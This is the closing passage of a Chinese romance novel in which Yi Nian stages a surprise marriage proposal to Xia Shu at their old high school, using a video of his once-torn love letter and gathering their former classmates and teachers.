“可不是嘛,”易年停好自行车,牵起夏树的手,“我们今天?刚好在附近逛街,就说趁周末没人?,来学校看看,大爷,您方便让我们进去吗?” “方便,方便,怎么会不方便!” 两人?进到学校,夏树觉得有点?不对劲:“你和那个?大爷认识?” “当时认识啊,”易年面不改色,“我可是四中的风云校友,年初回来参加过学校的活动!” 夏树点?头“哦”了声,没多想。 两人?牵手漫步校园,每到一处,都?会说说这处现在和原来的不同。 来到运动场,两人?在看台坐下?,易年说他?去买两瓶水,让夏树先等他?。 旧地重游,夏树拿出手机拍了几张校园的照片,运动场的大屏幕突然亮起。 画面不太稳定,像是手持摄像机拍摄的,从运动场外开始,经过礼堂、音乐教室、紫藤花架、大雕塑,最后停在了高三一班的教室。 持摄像机的手从某一张书桌里拿出一个?被撕破重新粘贴的粉色信封,打开信封,里面是一封被重新粘上的信。 画面停格在信件内容上—— “见字如晤! 这是一封给?你的告白信。 其实我也不知道我的心?意是从何时开始,或许是在那个?炎夏溪边初见,或许是高一开学那天?分班公示栏前你跟我说的第一句话?,又或许是同桌三年无?数个?课间,你像一只贪睡的小猫,趴在桌上,只露出了半边脸,但只要一睁眼?,都?会委屈地向我挤挤眼?,说你睡不够。 看着恩爱的长?辈,我以为喜欢一个?人?应该是一件稀松平常的事,也不明白这件事有多折腾人?。渐渐的,我才发现一开始自己对于喜欢的理解是多么的浅薄。 每天?进到教室,只要你在,我就能开心?一整天?。你对我微笑,对我瘪嘴,对我挑眉……每一个?细微的表情都?能牵动着我全部的情绪。 那时候在祖母家屋顶,我说我喜欢鑫鑫,可是她不知道,你还纠正我的发音,那是星星,不是鑫鑫。 我告诉你,我就喜欢鑫鑫。 过去三年你不知道,没关系,从今天?起,请你记住,我喜欢你,真的很喜欢。 我是个?骄傲的人?,从没想过自己有一天?也会落笔写下?情书,曾经对这样的行为嗤之以鼻,觉得矫情,觉得是在无?病呻吟,觉得俗套,可现在我卸下?了所有骄傲,只为让你明白我的心?意。 我想过亲口告诉你,却怕词不达意,怕随着时间流逝,我想说的每一个?字都?会渐渐被遗忘,后来想了想,可能只有用墨在纸上亲笔写下?,我对你的心?意才能留下?永远的痕迹。 未来或许有无?限种可能,但如果可以,我希望我的每一种可能里都?有你。 如果可以,我希望我和你,不是终日彼此对视而是共同瞭望一方,你之所想,成为我之所想,你之所愿,成为我之所愿。 我喜欢你,无?论你是夏树,还是金鑫鑫,我都?喜欢你。” 信件没有落款,但是夏树认识这字迹。 这封信,来着易年,是她当年撕碎的那封他?为她写的情书。 时隔七年,居然以这样的方式再见。 大屏幕画面再次启动,这次画面里出现的是易年穿着校服,将那封被撕碎的信重新折好放进信封,小心?翼翼装进口袋的模样。 画面里的易年收好信件,掏出手机拉了一个?群,里面全是高中同学。 他?发了一条消息:【同学们,我今天?要跟夏树求婚,还想弥补一下?当年没有和她一起拍毕业照的遗憾,想麻烦你们穿着当年的校服,到学校跟我汇合】 看到这里,夏树的眼?眶开始湿润,也终于知道今天?易年让她穿校服的用意。 大屏幕上,群里一呼百应,所有同学第一时间回复:【收到,没问?题,我马上到】 随后,易年又给?班主任打了电话?,说他?要求婚和补拍毕业照,镜头切到正在家中陪孩子写作业的班主任那里,他?去书房,从抽屉拿出当年的毕业照,立刻召集了照片上的所有老师,让他?们换上正装一起出发学校。 挂了电话?,易年露出满意又忐忑的笑容,锁了屏幕,去学校大门骑上他?的自行车,到附近的商场,在花店挑了束茉莉,又买了一对婚戒,重新骑着自行车回到学校,站在学校大门口,借着门卫室玻璃的倒影整理了仪容,好整以暇站在学校门口等。 大屏幕内车马流转,穿着高中校服的同学和穿正装的老师们陆陆续续出现在校园。 易年像他?们指路,一大群人?乌泱泱进了校门,镜头一直跟随着人?群从到了运动场外,大荧幕的画面就此停住。 运动场的灯光亮起,当年毕业照上的老师接二连三出现在了夏树的眼?前,正好和先前大屏幕的画面衔接上,随后是穿着校服的同学,待所有人?进到场内,易年才走了进来。 刚刚的大屏幕画面不过播放了十几分钟,不可能这么快的时间就召集到了所有人?,所以,这一场求婚,是易年早就准备好的,大屏幕的画面也是早就录制好的。 从见到他?真人?那一刻,她的眼?泪就悄无?声息地往下?掉着。 他?的左手上抱着一束茉莉,右手拿着戒指盒,夕阳余晖和运动场的灯光均匀撒在他?的身上,像是从少女梦里走出来的人?,身姿挺拔,干净帅气?,完美无?瑕。 夏树从看台站了起来,扯紧了脑后的马尾,奋不顾身,朝他?跑过去。 看台的台阶像极了这些年他?们之间的阻碍,会放慢两人?奔赴对方的速度,但是无?法?阻隔终究会深情相拥的两个?人?。 她几乎是撞进他?怀里的。 老师和同学们把他?们围在中间,但夏树眼?里完全看不见别人?。 “我爱你!”他?说。 “我爱你!”她说。 夏树没有在“爱你”前加“也”字,因为这句话?,不是她对他?的回应,而且她对眼?前这个?男人?所有的感情。 她爱他?,真的很爱他?,她很清楚这份感情这份心?意,根本不需要任何前提。 真情,无?需多言。 “所以,你愿意嫁给?我吗?” “我愿意。”- 【正文?完】